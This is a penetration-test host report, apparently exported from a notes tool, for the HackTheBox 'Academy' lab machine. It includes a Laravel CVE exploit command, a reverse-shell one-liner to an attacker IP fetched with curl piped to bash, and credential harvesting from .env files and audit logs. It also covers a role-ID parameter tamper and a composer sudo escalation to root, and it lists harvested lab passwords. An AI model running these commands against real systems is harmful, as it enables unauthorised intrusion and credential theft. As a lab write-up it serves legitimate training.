
Host Report

10.10.10.215 - Academy
Linux Server  - Shelled - Owned

Host Notes:
Laravel Exploited on Port 80 for Initial Foothold:

Original Script: https://github.com/aljavier/exploit_laravel_cve-2018-15133/blob/main
/pwn_laravel.py

Code not modified.  Usage:
pip3 install -r requirements.txt

python3 pwn_laravel.py http://dev-staging-01.academy.htb dBLUaMuZz7Iq06XtL/Xnz
/90Ejq+DEEynggqubHWFj0= --interactive

LOW LEVEL (www-data) SHELL.

To move from limited interactive to full TTY shell:
On Attacking Machine:
1) echo 'bash - i >& /dev/tcp/10.10.14.4/4444 0>&1' >index.html #Inside host exploit
working folder
2) sudo python3 -m http.server 80

3) In a separate terminal - nc -lvnp 4444
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On the Victim interactive shell:
curl http://10.10.14.4 | bash

Lastly, in the Netcat Terminal: Run

python3 -c 'import pty;pty.spawn("/bin/bash");'

TTY shell available from the Netcat callback.

Lateral Movement from www-data to cry0l1t3:

Changing directory to /var/www/html (by just using "cd ../../" shows 2 sites, as
expected.

academy 
htb-academy-dev-01

From the Laravel error, we know homestead is the dev MySQL instance.  Changing
to the Production site, we see a /var/www/html/academy/.env file that we have read
access to.
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cat /etc/passwd for a Username list
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su cry0l1t3 with Password: mySup3rP4s5w0rd!!

Lateral Movement from cry0l1t3 to mrb3n:

Check group membership.
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Adm members can check logs. 

Audit logs usually have good information in them, especially when filtered to TTY
input.
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Credentials acquired from audit logs after escalting from www-data to cyr0l1t3.

mrb3n can run composer as root.  Composer is a GTFObin that is easily exploitable
to get to root.
Steps to exploit composer's GTFObin

1) TF=$(mktemp -d)
2) echo '{"scripts":"{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}'>$TF/composer.json
3) sudo composer --working-dir=$TF run-script x
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GTFObin Exploited and Box Rooted

Proof:

Ports:

Port Proto Service Version Status

22 tcp ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1

(Ubuntu Linux; protocol 2.0)

Owned

80 tcp http Apache httpd 2.4.41 ((Ubuntu)) Owned
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Port Proto Service Version Status

Port Notes:

Must add '10.10.10.215 academy.htb' to /etc/hosts file

Register as a new user and capture the POST request.  Change "&roleid=0" to "&roleid=1"

and you can log into the admin.php page.

Must add '10.10.10.215 dev-staging-01.academy.htb' to /etc/hosts file

dev-staging-01.academy.htb show Laravel running and displays an error message.

 Initial scan shows Port 80 (See below) which is tied to academy.htb.

Add academy.htb to /etc/hosts
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Port Proto Service Version Status
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Port Proto Service Version Status
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Port Proto Service Version Status

We want to see what is happening when a new user is created. So, I'm going to fire up Burp

Suite.  Now, I am using Kali 2021.1 which has a newer version of Burp that has a built-in

browser.  No more having to modify your browser's network settings or installing certificates. 

In that browser, I'm going to create a new user name johndoe with a password of johndoe1

and capture what is happening when a new user gets created.
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Port Proto Service Version Status

After we create the user, it takes us to the Login page.  We can use the new credentials to

login and we see some Modules for the HackTheBox Academy (Nice Touch.  It's usually the

whole Lorem Ipsum thing). One thing the capture on creation shows us is an "&roleid=0". 

That variable might be useful later.  For now, let's run Gobuster on it and see what else is

there for us to find.  We can do that with "gobuster dir -u http://academy.htb -w /usr/share

/dirb/wordlists/common.txt"

┌──(kali㉿kali)-[~/Academy]
└─$ gobuster dir -u http://academy.htb -w /usr/share/dirb/wordlists/common.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://academy.htb
[+] Threads:        10
[+] Wordlist:       /usr/share/dirb/wordlists/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2021/03/07 11:25:59 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/admin.php (Status: 200)
/images (Status: 301)
/index.php (Status: 200)
/server-status (Status: 403)
===============================================================
2021/03/07 11:26:39 Finished
===============================================================
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Port Proto Service Version Status

Change the roleID to 1 and I can log into admin.php
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Port Proto Service Version Status

857 tcp unknown

6913 tcp

16895 tcp

22386 tcp

22638 tcp

26915 tcp

27053 tcp

32949 tcp

33060 tcp socks5

34589 tcp

43557 tcp

47919 tcp

48560 tcp

Host Report - PenTest.WS https://pentest.ws/print/host/bxq8kE6w

15 of 16 3/7/2021, 3:24 PM



Port Proto Service Version Status

49108 tcp

59714 tcp

61288 tcp

Credentials:

Service Username Password Full Name Hash

mysql homestead secret

ssh mrb3n mrb3n_Ac@d3my!

su cry0l1t3 mySup3rP4s5w0rd!!
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